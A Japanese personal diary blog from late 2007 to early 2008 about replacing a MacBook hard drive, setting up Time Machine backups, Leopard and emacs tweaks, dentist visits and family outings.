(MacBook のこと) それはそうと昨日と一昨日の出張で Macbook を電池モードで多用したのですが、なんとフタを閉めたスリープ後の復帰で一度英語キーボード配列になってしまいました。そんなことあるのかいな (笑)。いや、英語モードでもそれほど困らないのですが、やはり刻印と異なる入力はちょっと不便。もしかして永遠に直らなかったらどうしよう、と思いつつリブートしたらちゃんと日本語モードになりました。いったいあれはなんだったのだろう。謎ですな。
(Time Machine のこと) 順調な運用状態となりましたが、自分でも良くないなと思うのは、例えば自宅や出張中で使えない状態が二三日続くとなんとなく不安になるということ。もしかしてバックアップやセキュリティーというのは中毒性があるのでは。実生活やコンピューターのセキュリティー屋さん、それから国家やマスコミなんかも、次から次へと不安のねたを考え、もともと人間に内在すると思われる、不安を見かけ上解消することに対する快感を利用しようと画策しているのでしょうなあ。実際このての中毒性は極めて強力そうで、今や Time Machine なしの生活など考えられません。
(iPod classic のこと) 私は通勤時間が長いのでかなり酷使していると思いますが、それでも一週間に一度程度の充電ですむのは助かります。ロスレス圧縮音源の再生でも 15時間から20時間程度使えるみたいです。通勤中、眠った瞬間に電気が切れるとなお良い、というか突然音がなくなると起きてしまう可能性が強いので、フェードアウトしてから電源が切れるとか。とても実装が難しそうです (笑)。
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2008年1月18(金)

つくばより帰宅
本日帰宅しました。
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2008年1月17(木)

つくば出張
今日明日は一泊二日でつくば出張です。
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2008年1月15(火)

ちっとも終わらない Time Machine
今日は新しいハードディスクに古いイメージそのままをいれた MacBook を会社に持っていき、すでに領域を拡張して二日ほど運用した後の Time Machine ディスクに接続したのです。実際には三連休で大量の CD を読み込んだので、それなり時間がかかるのは覚悟していたのですが、様子を見ているとコピーの進み方が異様に遅いのです。実際、コピー中のファイルを調べるとすべてリンクカウントが 1 となっています。あれま、もしかして全部コピーし直しなのでしょうか。よくよく考えてみると、バックアップを作成した段階で、本隊側の i-node 番号は古いハードディスクのものと異なるものになったと考えられます。ということは実装の方法によっては「すべてが前と異なるファイル」と認識されても不思議はなさそうです。このような場合、全部コピーするにもそれなり時間がかかりますが、一つ一つファイルの整合性を検査するのに多大な時間を要すると考えられます。実際にコピーの速度から逆算すると、おうちへ帰る時間までにはとても終わりそうにありません。さらにバックアップディスクの容量も非常に無駄が多くなります。よく考えるとあたりまえのような気もしますが、完全に抜けていました。まぬけとしか言いようがありません。
たった二日分しかバックアップがありませんし、万が一の場合前の 2.5inch ハードディスクで土曜日の段階へは戻れるのですから、バックアップ用ディスクを再フォーマットして最初からやり直すことにしました。現在進行中ですが、こんどは予定通り 2～3時間程度で終了しそうなペースです。
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2008年1月14(月)

成人式
今日は成人の日です。丁度今年は二女の成人式で、着物を着て式に出席しました。ちょっと驚いたのは、二女の話によると、着物を着ないで出席した女性は一人しかいなかったということ。あれま、今ってそいういう風潮なのですか。知りませんでした。もしかして昔からそういうものだったのかな。
そもそも私が二十歳になったころは「成人式に出るなんてかっこわるい」という雰囲気があったような気がします。私は出席していません。というか仙台市の式では前の年のゲストがキャンディーズ。キャンディーズですよ。キャンディーズ。ランちゃん、スーちゃん、ミキちゃんのキャンディーズです。この日記を読んだ下さっている方には、ドラマに出ているおばちゃんというイメージしかないかも知れませんが、ほんと当時は絶大な人気を誇るアイドルだったのです。なので一年前ならば雰囲気も何も関係なく出席していたに違いありません。
ところがところが私の年のゲストはなんとダークダックスだったのでした (笑)。おっさん四人の合唱団です。どうしてこんな差別がまかり通ったのが、今でも怒りの念を抑えることができません (嘘)。
といわけで二女は一度お家に戻り、着物を私服に着替えて二次会とやらにでかけてゆきました。さぞかし楽しんで帰ってくるものと思われます。
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2008年1月13(日)

MacBookハードディスク運用
昨日交換したハードディスクですが、交換した理由は以前書いた通り 80G の iPod classic を購入し、調子に乗ってアップルロスレス圧縮で手持ちの CD を放り込んでいたら、母艦 (MacBook) の使用容量が 65% 程度となり、私はハードディスク残量不足恐怖症 (基本的に使用率が 2/3 を超えると不安で仕方がない) なので、無駄とは思いつつ大容量のハードディスク購入と相成ったのです。ほんとはぎりぎりになってから交換すれば良いのにかなり愚かな選択です。
とはいうものの当然良くなった点もあります。

体感速度がかなり上昇した
理由としては新規ハードディスクの容量が大きいため一回転辺りの転送量が増加したこと、それから今まで一年間使用したディスク上のフラグメントが解消されたのも大きいかなと思います。MacOSX のファイルシステムはフラグメントに強いといいますが、まっさらな状態に比べればある程度悪化するのは避けられないと思います。
精神的に楽になった
なんといっても 250Gの 33% 使用率というのは精神衛生上非常によろしいです。

ところで、会社においてある Time Machine 用の 320G バイトハードディスクは、以前は 120G ハードディスクのバックアップ用ということで、180G バイトのスライスと残りのスライスに分けていたのですが、今度は 250G 用ということで全ディスクを 1スライス (すなわち 320G バイト) にまとめ、古いのは消してすでに新規運用を開始しています。なので火曜日に会社に行ったときは Time Machine 用ディスクを単に USB につなげば良いはずです。
それから断片化が進む前に、読み込み専用の大きなファイルは本体にコピーしたほうが良いであろうということで、手持ちの未転送 CD を数時間かけて本体にコピー・ロスレス圧縮しました。全部で 50枚位でしょうか。相当疲れました。結果的に iPod の使用容量は 50G/80G となり、今後手持ちの CD が極端に増えることはないと思われるので、丁度よいバランスになったかなと思っています。
ただ一つ心配事があるとすれば、仕事に関しても勉強や遊びに関しても、たかがノートPC一台にこれだけ依存して良いものか、ということでしょうか。ハードディスク以外の部分がこわれたときのダメージがとても大きそうです。
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2008年1月12(土)

MacBookハードディスク交換
本日250Gのハードディスクが届いたので、さっそく交換作業です。まずは現行システムの金太郎飴作成です。ほんとのことを言いますと Y.Kumagaiさんのところの記事を読むまでバックアップ作成の方法知らなかったのですが、えーっと、新しいのをUSB 経由 (SATA 対応 HDD げたは購入済み 3800円) で外付けして、「ディスクユーティリティ」の復元先にすればよいそうです。さっそく実行したところ、ちゃんとコピーが開始され、予定所要時間は2時間ほどとのこと。確かに2 時間程度でもうすぐ終わりという状態になりました。ところが終了する直前になり次のようなメッセージが。

完了予定まで後 45140日6時間 (笑)

あわわわわっ、これでは生きている間に終わらないではないか、なんて冗談で考えていたら 5分後に終了しました (^^。何かが内部演算でオーバーフローしたのでしょうなあ。
でもってリブートして USB の方からブートしようとしたのですが、option キーを押しながらでないとブートメニューが出ないのを知らず、一度失敗。次にネットで調べ option キーを押しながらブートしたところ、こんどはちゃんとブートメニューが表示され USB の方を選んだら問題なくブートしました。ちゃんとディスク容量も 243862672Kbyets と表示され全く問題ないようです。もちろん遅い以外は本体からのブートと区別がつきません。
というわけでいよいよ最大の難関の交換作業です。まずバッテリーを取り出し、次に内部のねじを３つ取り外し、なんかぺらぺらの覆いを取り外します。するとハードデスクをマウントしてある場所にべろがあるので、それを引き抜くだけです。ここまではまことに順調でした。
後はハードディスクをマウンターに固定してあるねじを外し、新しいのと交換するだけです。ところがところが

なんと６角形のへんてこなねじではないか (汗)

トルクスドライバT8ってこういうことだったのね。普通のねじ回しの大きさの規格ことだと思っていました。もちろんこんなののねじ回しなんておうちにはありません。普通ですとここでねじ回しを調達にゆくところですが、考えてみると普通のねじでもねじ回しとの相性など考慮せず、いつもねじ穴を壊しているのはお約束だったのです。

手持ちのプラスドライバーとマイナスドライバーで強行です (笑)

ネジ穴にかなりの損傷を加えたと思いますが、うまいこといくつか試したマイナス一本が丁度６角形の対角線に入り、みごと取り外しに成功しました。後は逆の手順を実行し、現在新しいディスクで全く問題なく動作しています。
いやはや「世界一ハードディスクの交換が簡単な MacBook」と思っていましたが、へんてこなねじというとんでもない落とし穴がありました。こういう場合会社にもっていけば道具もあるでしょうし、さらに器用な人にお願いすれば良いのですが、なんせ三連休の初日。待てなかったです。まったくいつまでも子供で困ったものです。
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2008年1月10(木)

リンク追加
このページの上には、自分自身用なのですが、よく遊びに行き、さらに私自身非常に尊敬している方のところへのリンクを張ってあります (リンクしていないから尊敬していないという意味ではありません)。うれしいことに昨年の終わり頃から Stromdorf さんがブログを開始されました。もともと Stromdorf さんは数学に関する素晴らしいページをお持ちです。あっ、それから物理と日本古代史に関しても非常に造形が深い方です。数学に対する関する考え方は私とは大分違う (というか私には「考え」というほどのものはない) と思われますが、とにかく内容が豊かでさらにわかりやすく数学の本質にせまった議論を展開されています。
私のような人間がStromdorfさんについていろいろ講釈すること自体おこがましいのですが、今回無礼は勘弁していただき今後ともよろしくお願いいたします。
(追記) Stromdorfさんの 2008/1/10 の記事「可算選択公理の根拠(2-2)」で「論理を構文論的に考える」までは全く同意です。どこから違ってくるのでしょうか？今後ますます楽しみです。後、表示の関係でリンク集で一段下になってしまいましたが、もちろんこれは単なる表示の問題ということで、ご容赦の程お願いいたします。
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2008年1月5(土)

お正月の成果
とっても長いと思われた九連休も明日が最後です。今年のお正月はいつもよりは家族サービスをしたと思いますが、基本的にごろごろしていたのはお約束です。さらにとてもまずい事態が。
全く数学の勉強をしなかった (汗)
昼間ごろごろしているのに夜もしっかり眠くなるという。ほんとの寝正月です。さらに年賀状を書いたのが一月三日というのもだらしなさの新記録なのです (^^。
それから昨日のハードディスクのことですが、IDE と SATA の違いなんて全く意識していませんでした。幸い購入したのは SATA のディスクで黒マックにちゃんと入るもののようですが、結構危なかったです。ところでおうちには USB 2.5inch のケースは IDE のしかないので、システムをリストアーするには SATA USB 箱も買う必要がありそうです。もっとも会社に OS インストール DVD を持ち込み Time Machine を使うという作戦もありそうです。どちらが良いのだろう。案外迷うところです。ただし現在使用中の内蔵ディスクが余るので、それを入れる箱があったほうが良さそう。結局また散財となりそうです。
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2008年1月4(金)

250Gバイトハードディスク
調子に乗って昨年購入した 80G バイト iPod classic にアップルロスレスエンコードした音楽を入れ続けたら、予想通り黒マックの容量が苦しくなってきました。現在 120G バイト中 80G バイト使用中です。というわけで思わずぽっちん。日立 Travelstar 5K250 HTS542525K9SA00 というものです。価格は送料込みで大体2万円なり。回転数は 5400rpm でそれほど速くないのですが、確かハードディスクは容量が大きければ速くなるはず。たぶん。というわけで数日中に届くと思いますが、世界一ディスクの交換が簡単との定評がある黒マックと、世界一不器用と言われる私との対決となります。交換は会社の器用な人にお願いしたほうが良いかも知れません (^^。
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2008年1月3(木)

らーめん
昨日の記事に書いたようにラーメンを食べ損ねたので、今日こそはと食べに行ってきました。二女とモカちゃんも一緒。ここで常識的には近場のラーメン屋さんにゆくところですが、昨日のことがくやしかったので、なんと昨日はお休みだった「八景島シーパラダイスの近くのラーメン屋さん」まで行ってきました (笑)。喜多方ラーメンです。おいしかった～ (^^。食べたらすぐに帰る予定だったのですが、子供たちが服を欲しいというのでの服選びに三時間くらいお付き合いしました。いやはやお約束で女の子の服選びはなかなか決まりません。長かったです。んっ、三時間くらいなら短いほうですか？なんだかんだで三万円くらいの散財だったのでした。
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2008年1月2(水)

八景島シーパラダイス

奥さまと八景島シーパラダイスに行ってきました。えーっと、モカちゃんには「友達と約束があるから」ということで振られました (涙)。というわけで13時頃到着して17時頃まで遊んできました。帰りにおなかが空いたので、ラーメンでも食べようかといろいろ探したのですが、考えて見ると当然なことにどこもお休み。結局ケンタッキーで食料を買い込みおうちへ帰りました。

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落ちもの。乗っていませんラッコ

さかなかに。おいしそう (^^

さかなかえる

イルカの曲芸帰りの夕焼け

2008年1月1(火)

お正月
新年明けましておめでとうございます。本年もよろしくお願いいたします。
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2007年12月31(月)

おおみそか
現在17時30分なのですが、実はまだ年賀状書いてません。なんとなく年を越えそうな予感。それはそうと今年はどんな一年だったのだろう。
まず数学の勉強。集合論雑記を見直すと、結局Lの構造に関する初歩的な部分を一年がかりで勉強したということになります。正直理解不足な部分が多いのですが、その辺は必要になったら見直すということで、来年はさらに前進したいものです。でも最近とみに能力と体力不足の自覚が。さらに今後の勉強の方向性がいまいち定まらないのが最大の悩みです。面白そうなトピックを拾い読みして感覚を取り戻せれば良いかなと考えてはいます。
次に仕事。こちらは少なくとも8月までは今までで一番よく働いたかも。9月以降もするべきことは多かったのですが、ほとんど進展しませんでした。やはり集中を持続するのは半年くらいが限度のような気がします。
えーっと、黒マックを購入したのはいつでしたっけ。日記の目次を探してみると今年の一月みたいです。もうすぐ一年です。ほんと仕事にも私生活にも大変役立ってます。酷使してほんと可哀想なのですが、最低あと二年位がんばってね (^^。
というわけで本年もいろいろお世話になりました。日記や集合論雑記は今後も継続しますので、来年以降もよろしくお願いいたします。それでは良いお正月を。
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2007年12月29(土)

仕事納め
昨日は会社の仕事納めでした。でもって大掃除。容易に想像がつくように私の机の周りは会社中で一番ものが散乱しています。さらにお掃除はとっても苦手なので、「やだやだそうじなんてやだ。」と総務で騒いでたら、一週間ほど前メールで回覧が回ってきました。使用者が特定できない場所の大掃除分担表です。もちろん自分の机の周りは自分でお掃除するのです。ところがところが...

会議室 A さん、B さん...

マシン室 C さん、D さん...

... ...

かがみさんのとこ M さん、Y さん (二人とも女性)

あわわわわっ、会社始まって以来初めての個人の場所指定お掃除当番の割り当てです。情けないやらちょっとうれしいやら (^^。さすがに余りに散らかった状態では失礼なので、掃除の時間になる少し前から書類や空のペットボトル (30 個以上散乱していた) 等大きなごみを片づけ始めました。ところで大物をゴミ袋に入れるとなんとなく「こんなもんでよいかな」いう気分になってきます。もしかして手伝ってもらわなくても大丈夫なのでは、と甘い考えも浮かんできたのですが、担当の女性が現場を見ていわく。
全然だめです。今日は徹底的に掃除するのでどいててください。
いやはやほんとご迷惑をおかかしましたが、一時間で机の周辺はぴっかぴかとなり、一番散らかっていた場所がなんと会社で一番きれいになりました (^^。ここでおとなしくしていれば良いのに、まだ忙しそうにお掃除をしている人のところに行って、「私の周りは会社で一番きれい」とじまんして回ったのは愚かとしか言いようがありません。調子に乗りすぎです。さらにお掃除をしてくれた女性二人に、「こんどおうちに遊び来ませんか (おそうじできますよ～)」とお誘いしたのですが、却下となったのはもちろんなのでした。
いずれにしてもほんとありがとうございます。仕事始めには何か持ってきますのでご容赦の程を。あっ、もちろん来年からはちゃんと毎日こまめに掃除します。散らかしません。たぶん (^^。
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2007年12月28(金)

年末年始の予定
今日は仕事納めです。一月四日は有給をとる予定なので、夢の九連休です。年末年始の予定ですが、毎年のことながら特にありません。あっ、でも、数学の勉強は再開したいと思います。三ヶ月くらいのんびりと暮らしていたので、そろそろ勉強エネルギーも充填されたような気がします。
それから年賀状。全然書いていません (笑)。これも例年通りですが元旦に届くのは不可能な状況です。さすがに年が明けてから書く事態になるのは避けたいのですが、根がずぼらな性格なのでどうなることやら。
どころで最近ちょっと頭の調子がおかしいのです。おかしいのはいつものことだというつっこみは勘弁していただくとして、症状としては、年中耳鳴りがして、さらに集中してものを見つめると耳なり音のトーンが上がり、視野が狭くなり、意識が飛びそうになる場合もあるのです。これって一種のてんかん系症状なのでしょうか。重大な病気の前兆だとちょっとやなのですが、主観的には思考力への影響はなさそうですし、さらにこの症状が現れてから精神的に以前よりはるかに落ち着いているので (もしかしてθ波過剰？) よほどひどくならない限り放置しようかと思っています。何かどうしてもまずいことになったらその時に考えるということで (^^。後のことをむやみに心配しないのが、一般には壊れていると思われている私の性格の最大の利点ですからねえ。もっとも、いくつか修羅場を切り抜けると、誰でもそういう心境になるのではと勝手に想像しています。
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2007年12月25(火)

ばたんきゅー
三連休は風邪で寝込んでました。今日はやっとの思いで出勤しましたが、そろそろ限界そう。お休みの日に熱出してまどろんでるのはそれほど嫌いではないのですが、やはり仕事はきついですな。というかそろそろ日記 (週期？) のねたを真面目に考えないと、このまま自然消滅してしまうではないか。1行でもよいから毎日書くようにしたほうがいいのかなあ？
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2007年12月17(月)

モカちゃん大失敗
いや、単に携帯をおうちのトイレに落としただけです。水没です。でもって、どこで聞いたのか知りませんが、冷蔵庫 (冷凍庫ではない) に入れて復活しないかどうか試しているみたいです。結露に注意すれば乾燥しているので復活の可能性が増えるのかな。というかトイレに落ちたのを冷蔵庫に入れるとはなかなか大胆ですなあ (^^。
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2007年12月15(土)

設定ではまる
なんか夜になって突然このページがアクセスできなくなりました。具体的には PHP に引数の情報が渡らないのです。このページは現在アイネットディに設置してあるので、なにやらトラブルかなと思いサポートへ問い合わせをしました。すると、例のごとく5分くらいで返事が来まして、その内容は、
以前お知らせした通り、本日より PHP の register_globals のデフォルトが Off になっております。
とのこと。あややや、完全に見落としていました。大失敗です。さっそく設定を教えてもらった通りにしたところ問題なく動作するようになりました。いや、実はもう一つはまったのですが、余りに恥ずかしいので内緒。単に Module 版の PHP の設定と CGI 版 PHP の設定を間違えただけですが (笑)。
というわけで本日の夜アクセスされた方には多大なるご迷惑をおかけいたしました。おわびいたします。ごめんなさい。ごめんなさい。ごめんなさい。ごめんなさい。ごめんなさい (^^。
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2007年12月13(木)

復活の予感
実を言いますと、今年の前半は面白い仕事が回ってきたということもあり、とんでもなくハイテンションだったのです。さらに、仕事がそれなり順調に進み、九月には静岡での集合論サマースクールに参加させていただき、このときがテンションの極大値だったような気がします。そしてその余勢で 0^# の初歩に関する勉強もそれなり順調に進んだのです。
なので「むむむのむ。このまま進めば、今後仕事も勉強も思い通りにこなせるではないか」、なんて調子の良いことを考えていたのですが、
十月からなんにもやる気がなくなりました (笑)
仕事も数学も全然だめです。この日記もだめ。いやはや、やはり人生順調な時期はそんなに持続しないものです。余り大きな声では言えませんが、この2ヶ月くらい当座必要な雑務以外ほとんど仕事してません (殴)。前半の貯金があったのでなんとかやり過ごしたという感じでしょうか。
でもって、このような場合今までの経験から「無理しないで適当にやりすごし時間が経過するのを待つ」というのが最適解と判断し、ほんといいかげんな日々を送っていたのです。仕事がたまっても気にしない気にしない。こういう状態で無理をしてほんとに壊れた経験ありますから絶対に無理しない。「あんなにいろんなことが出来る人が、どうして突然こんな簡単なことできなくなったの？」と思われても気にしない気にしない。
さすがにこの状態が余り長期間続くと困るのですが、こちらも今までの経験通り、2ヶ月くらいでだいぶ戻ってきたらしく、先週の終わり頃から復活の予感。少なくとも仕事に集中できるようになってきました。数学の方はまだいまいち真面目に勉強する気力がわかないのですが、こちらもお正月辺りにはなんとかなるとおもいます。なんとかなります。たぶん。きっと。
全然関係ない話ですが、おうちは娘が三人なので、一人くらいお婿さんを迎え入れても良いですよ。もちろん無理にとは言いませんしお家もつきません。そのかわり嫁さんつきという利点があります (^^。
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2007年12月6(木)

お久しぶりです
ほんと最近更新が滞り申しわけございません。てなことで近況ですが、ちゃんと元気に生きてます。モカちゃんは昨日でテストが終わり、るんるんモードのようです。
私の方はといえば、まだ手にも入っていないボーナスをあてにして、 iPod classic を購入しました。本当は iPod nano を買おうと思っていたのですが、classic が 80G で 3万円弱、nano が 8G で二万円強の価格をみたとたん思わずclassic の方をぽっちんしていました。基本的に音楽ファイルは可逆圧縮 (Apple ロスレスエンコード) で運用するので、それなりの容量が必要なのです。その他液晶保護シール、革のケース (これがないと怖くて持ち歩けない)、それから本体付属のイヤホンではお話にならず、一万円くらいのカナル型イヤホンも購入したので、結局四万円以上の散財でした。
図体が大きくて、さらにかなりの重量なのが欠点ではありますが、さすがに Apple の製品だけあり非常に使いやすいです。電池の持ちもなかなかよろしく、非常に気に入っています。
全然関係ない話ですが、先日購入した egbridge Universal 2 は非常に気に入っています。ねたのためという意味はあったのですが、購入は大成功でした。「ことえり」よりかなり賢いと思われるとともに、特に「スマート予測変換」が便利です。
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2007年11月27(水)

生存報告
生きてます。なんか最近「日記力」がなくって。今年いっぱいは調子でないかも知れません。来年からは大丈夫。大丈夫。たぶん。
それはそうと毎日 Time Machine で自動バックアップを行っていますが、これは精神衛生上極めて良いです。単に重要なファイルをなくさないというのみならず、「そのままの状態で」復元できるのがうれしいのです。今までノート PC ハードディスクまんたん恐怖症的な面があり、使用率が 50% 以上になると不安を感じていたのですが、これからはもう大丈夫。まんたんになったら新しいのに入れ替えれば一発復元。最高です。黒マックは世界一ハードディスクの交換が容易な PC であることも安心感の一つです (^^。
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2007年11月20(火)

いろいろ
最近まともな記事がなくて申しわけありません。今日は3回目の歯医者さんでした。前回までは暫定的な詰めもので二三日で穴が開く場合があったのですが、今日は完全な工事を行い、今後穴が開く心配はないそうです。残るは金属をかぶせるのみです。今週の週末は連休ということで次回は来週の金曜日ですが、それまで現在の状態で全く問題ないそうです。
工事の方ですが、奥の方にコンクリートみたいなのを入れて、針みたいなので何回もぐにぐにするのです。もう神経を取ってしまったので痛くはないのですが、恐怖感が強かったです。冷や汗モードです。
ところで支払った金額は現在のところ次の通り。

1回目 3,000円

2回目 400円

3回目 (今日) 1,000円

3割負担なので、歯医者さんへの支払いは3回で 15,000円程度でしょうか。一回の時間が大体 30分で、お医者さんと助手の人二人。うーん、歯医者さんは厳しいというわさには聞いていましたが、確かにこれでは全然儲からないです。もちろん安いにこしたことはないのですが、いくらんでも真面目に営業している歯医者さんにとってはきついのでは。
というわけで歯の方は一段落です。全然関係ないのですが、私はほとんど Windows を使わないので、まともな仮名漢字変換というのを知らないのです。なのでどんなものかな～と思い、たかたにさんのまねをして、 egbridge Universal 2 を購入しました。ローマ字入力派なのであんまり役に立たないかも知れませんが、人柱ということで (笑)。
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2007年11月18(日)

生存報告
生きてます。ですが昨日も今日も仕事してます。二つの仕事を同時に行うのは苦手。
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2007年11月13(火)

歯医者 (その1)
今、11時頃です。とうとう耐えきれず会社の近くの歯医者さんにいったら、「予約制なので 16時に来て下さい。」とのこと。えーん。以下次号。
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歯医者 (その2)
ぐわ～～～～～、というのは嘘で、今日はレントゲンを撮って、ちょっと余計なとこを削り、薬を入れて詰めものをしただけです。後は化膿止め (抗生物質) と痛み止めをのみ安定させ、三日後に治療を開始するみたいです。抜かないですみそうなのがうれしい。治療の方針を分かりやすく説明して下さるとても良い先生でした。先生の一言。
痛くなる前に来れば治療も痛くないんですよ。
肝に銘じます。はい。たぶん。
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歯医者 (その3)
上の内容をそのまま奥様にメールしたのです。でもって返事。
> 肝に銘じます。はい。たぶん。
むりですね。
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2007年11月12(月)

限界か
半年位前に10年前に治療した歯のつめものが取れてしまったのですが、あんまり痛くなかったので大穴状態で放置。ところがこの数日激痛状態に。限界か。歯医者さんにいく必要あり？でもでもでもとっても怖くって。飲むと穴が修復されたり、場合によって新しいのが生えてくる薬だれか開発して下さい。てゆうか齧歯類に生まれた方が良かったかも。
(追記) 歯が痛い～、とモカちゃんに言ったら、「どうして歯医者さんに行かないの？」とのこと。「怖いから」と言ったら「ばっかじゃないの！」

ばかであることは認識しておりますが、怖いものは怖いんだもん (^^。
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2007年11月10(土)

Leopard の諸相
最初の印象は平凡で、新しい機能も使うこともそんなにはないだろうなと思っていた Leopard ですが、たかたにさんの記事を読ませて頂き、おもしろそうだな～と思い、色々な機能を使うようになりました。その前に第一印象で問題点と書いた点についてのお詫び。
(Terminal.app を起動すると勝手に X が起動する点について)

こちらの「問題は」私の .profile に X のキーボードのアサインを変更するための xset... なんたらが記載されていたせいです。たまに X のアプリケーションを使用する場合もあるということもありうかつでした。実際 Terminal.app と X の連動が良くなったのは事実であり、X アプリケーション動作のため、いちいち xterm を起動する必要がなくなったのはとても便利です。

(Terminal.app で emacs を使用していると、ことえり入力未確定中の日本語が突然キャンセルされる件)

この現象は非常に不愉快であるとともに、文書入力中に思考の流れが中断されるので、最大の問題点だと思っていました。さらに「ことえり」の問題なのか、Terminal.app の問題なのか、それとも emacs の問題なのかいまいち切り分けがつかなかったのです。ところで Mac OSX での emacs 愛好者はそれなりの人口がいると思います。ところが Web 上をいくら検索してもこの件に関する苦情が全く聞こえてこないのです。このての人達は特にうるさそう感じがするのでとても不思議です。ということは私の emacs 環境に置ける .emacs に問題がある可能性が非常に強く推測されます。
入力中未変換の文字が突然消えてしまうタイミングは非同期です。確実な再現性はあるのですが、いつおきるか分かりません。はらはらどきどきです。頻度は 10回に 1回から 30回に 1回程度でしょうか。とにもかくにも .emacs を眺めていたら非常に怪しそうな一行が。
(display-time)
このおまじないは、emacs のステータス行に現在時刻を表示するものです。全く使っていないのですが、emacs の色々な設定で遊んでいたときの名残であると思われます。この機能の更新間隔は 1秒に 1度程度なので、文字がキャンセルされる頻度を鑑みると非常に怪しいのです。もちろん 1秒間隔で問題が発生するわけではないのですが、時刻の更新タイミングと、「ことえり」の何らかの処理 (おそらく入力) が同期した場合に発生する可能性は否定できません。なのでコメントアウとしてみたところ、
全く問題が発生しなくなりました (^^
実は改行の瞬間、emacs がステータス行に現在行番号の更新を行うため、その場合に問題が発生することがあるのですが、今までの頻度と比べれば夢のような少なさです。元はと言えば自らまいた種とはいえ、最大の不満点が解消です。

(新しい機能)
いやはや、全く使わないとたかくくっていましたが、いつのまにか重要なものは全部使用してる気がします。
- Dock のフォルダーをクリックすると華々しく内容が表示される機能
- Finder の Cover Flow と関連するプレヴュー
- Time Machine
- さらにおうちで仕事をする場合、どうしても画面が狭いということで、 Spaces まで動員しています。Spaces は画面の切り替えがらくちんなのはある意味当然なのでしょうが、ウインドウを「ぐいっ」と別の仮想画面の方にドラッグして、そのままで 1, 2秒待っていると、次の画面に移動するのも便利です。実はプロセス単位で画面が決定してしまうと思い、それでは使えないかなと思っていたのですが、ウインドウ単位で画面を切り替えられるので十分使う価値はあります。
その他、これは新しいものではないのですが、 iCal を使うようになったとか、 Mail のメモ機能 (これは新規。存外便利) を使うようになったとか、細かい点を挙げればかなりの機能を使うようになったと思います。
いずれにしても、Mac OSX の出しゃばりはしないが、実際に使ってみると非常に細かい点まで配慮が行き届いている点は非常に好感がもてます。現在全く不満なしです (^^。
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2007年11月8(木)

タイムマシーン
Leopard の Time Machine ですが、たかたにさんのところの記事を読むとなかなか面白そうなので、私も運用したくなってきました。問題はハードディスクを購入する資金なのですが、会社の近くにある電気屋さんに見に行ったら、 320G バイトの USB ハードディスクが 11,000円で売っていました。20,000円くらいだと苦しいかなと思っていたのですが、こんなに安くなっていたとは知りませんでした。機種はIOデーターの HDC-U320 というものです。ちなみに 250G バイトのが 10,800円で売っていましたが、もちろんこちらは却下です。
黒マックのハードディスクは 120Gバイトで実際に使用している量は 40Gバイト程です。従ってバックアップ用の領域は本体と同様程度あれば十分すぎると思われますが、どうせゆとりがあるので 160G の領域を確保しました。残りの 120G バイト強 (フォーマットするとこの程度になる) の領域は予備です。
今も会社で使っているのですが、実際に Time Machine を使いだして驚いたのは、次のスケデューリングポリシーです。
- 過去 24時間の 1時間ごとのバックアップ
- 過去 1月の 1日ごとのバックアップ
- バックアップディスクがいっぱいになるまでの 1週間ごとのバックアップ
ということは、外付けハードディスクを繋いでおくだけで最新の 24時間分は 1時間ごとに自動バックアップされるるので、これは開発しているとき非常に助かります。例えば間違えてファイルを消してしまったとか、修正したらわけが分からなくなったので少し前に戻りたい等の場合です。実際に先程どこを修正したか分からなくなり、2時間前のファイルを取り出し、差分を確認することができました。いやはやこれほど便利なものとは思いませんでした。
本当はおうちで使う予定だったのですが、会社で使った方が便利そうです。会社用に一つ買ってもらおうかな。
というわけで私物のハードディスクを会社に放置することになりますが、別にへんてこなファイルも入ってないので特に問題ないと思います。どうせ会社の PC も私用のメールが沢山はいってますから (笑)。
何を勘違いしたか、MacOS 拡張フォーマットしたディスクに Time Machine でバックアップすれば USB からブートできると思っていたのは絶対に内緒なのです (^^。
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2007年11月6(火)

五十肩その後
大体治ってこれからは改善するだけと思われた左の五十肩ですが、真上に手を挙げるとやはり痛いという状態で固まってしまったようです。そしてさらに重大な問題があるのです。
こんどは右肩が痛くなってきました (涙)。
こちらは現在 60度くらい上げると痛いのです。左肩も電車やバスのつり革につかまるには苦しい状態なので、現状立っている場合は柱というか棒につかまるしかありません。極端に混んでいる場合乗るのを見合わせた方が無難です。
一番苦しいのが服を脱ぐ時。もちろん私が服を脱いでも面白くも何ともありませんが、それなりの必要性はあります。というか服を着るのと脱ぐのは互いに逆写像であり、時間を逆転すればおんなじ動作かと思っていましたが、五十肩のご利益により全く別ものだということがよく分かりました。着るときは穴に手を入れてしまえば後は自然に物事が進むのですが、脱ぐときって最後に穴から出すときが非常に苦しいのです。いやほんとこんなに大変なものだとは。
というわけでまだまだ五十肩は治らず、もしかしたら一生ものなのですが、ここは我慢して気長につきあうしかなさそうです。
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2007年11月4(土)

風邪
風邪引きました。今日明日はだめそう。全然関係ない話ですが、9月頃 Leopard の Time Machine がとっても便利そうということで、かなり期待をしていたのです。ところでバックアップを行うたびに外付けハードディスクを USB に繋ぐのは非常に面倒です。夜中に自動的に行われるのが好ましいのです。そこで AirMac Extreme を購入し、無線 LAN を高速化し、さらに自動バックアップを行う作戦を立てていたのですが、丁度その頃静岡での「数学基礎論サマースクール」に参加させて頂くことになり、予算の関係で AirMac Extreme 購入は断念したのです。
結果的にこれが良かった。Time Machine は AirMac Extreme では動作しないそうな。
それにしても、内蔵、USB 等とネットワークディスクの違いが分からない。 Mac 標準のファイルシステムでフォーマットしたディスクをマウントしてしまえば論理的に同様に扱えると思うのですが、不思議なものです。
というわけでしばらく Time Machine を使う機会はなさそうですが、もし今後 AirMac Extreme でサポートされることになった場合、購入ボタンをぼちっと押してしまう誘惑に勝てるかどうかは保証できません (^^。
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2007年10月30(火)

いろいろ
先週の週末から今日まで、とにかく PC やネットワークに関することが色々ありました。
1. MacOSX が新しくなった。
2. ご家族さま PC にウイルスらしきものが侵入し再インストール。
3. このページをレンタルサーバーへ移行。
4. ADSL モデム件ルーターが壊れた (笑)
MacOSX が新しくなったのとレンタルサーバーへの移行は良いとして、ご家族さま PC のウイルスと ADSL モデムが壊れたのは少々余計です。そもそも最近ネットワークの調子が悪く、ご家族さま PC のウイルスがパケットを出しまくったせいかと思っていましたが、単に ADSL モデムの不調度が徐々に悪化していたのが原因と思われます。

(ADSL モデムの不調)
一週間位前から調子悪い感じで、たまにリブートしていたのです。ログを見ると不調の原因は「NAT 変換テーブルが作成できない」ということで、一度この状態に陥ると復旧しません。ご家族さま PC のウイルスが頻繁にコネクションをを張り過ぎたせいだと思い込んでいたので、Windows を再インストールすれば直るはずだったのですが...
その後不調になる頻度が高くなりました (笑)
